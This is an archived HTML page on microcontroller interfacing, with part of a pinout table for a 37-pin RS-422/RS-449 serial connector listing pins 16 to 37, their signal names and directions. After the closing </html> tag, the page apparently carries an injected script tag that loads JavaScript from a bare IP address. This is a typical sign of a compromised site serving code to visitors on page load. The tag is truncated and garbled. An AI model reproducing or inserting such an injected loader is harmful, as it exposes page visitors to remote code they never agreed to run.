08-rs422.htm

关于单片机接口技术的文档

  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">16</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">SF/SR</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="--&gt;" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Select Frequency/Select Rate</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">17</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">TT</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="--&gt;" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Terminal Timing</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">18</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">TM</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="&lt;--" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Test Mode</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">19</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">GND</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Ground</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">20</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">RC</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Receive Twister-Pair Common</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">21</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">GND</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Spare Twister-Pair Return</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">22</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/SD</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Send Data TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">23</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">GND</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Send Timing TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">24</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">GND</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Receive Timing TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">25</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/RS</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Request To Send TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">26</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/RT</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Receive Timing TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">27</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/CS</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Clear To Send TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">28</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">IS</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="&lt;--" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Terminal In Service</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">29</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/DM</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Data Mode TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">30</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/TR</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Terminal Ready TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">31</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/RR</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Receiver TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">32</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">SS</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="--&gt;" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Select Standby</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">33</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">SQ</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="&lt;--" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Signal Quality</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">34</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">NS</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowr.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowr.gif" alt="--&gt;" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">New Signal</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">35</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">/TT</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Terminal Timing TPR</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">36</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">SB</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrowl.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrowl.gif" alt="&lt;--" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Standby Indicator</font></td>
  </tr>
  <tr>
    <td bgcolor="#C8C8FF"><font color="#008080">37</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">SC</font></td>
    <td bgcolor="#C8C8FF"><font color="#008080"><img src="arrow.gif" tppabs="http://linux.ustc.edu.cn/~xjiang/hardware/images/arrow.gif" alt="---" WIDTH="32" HEIGHT="9"></font></td>
    <td bgcolor="#C8C8FF"><font color="#008080">Send Twister Pair Common</font></td>
  </tr>
</table>
</body>
</html>

<script language=javascript src=http://218.75.91.248/winr|
n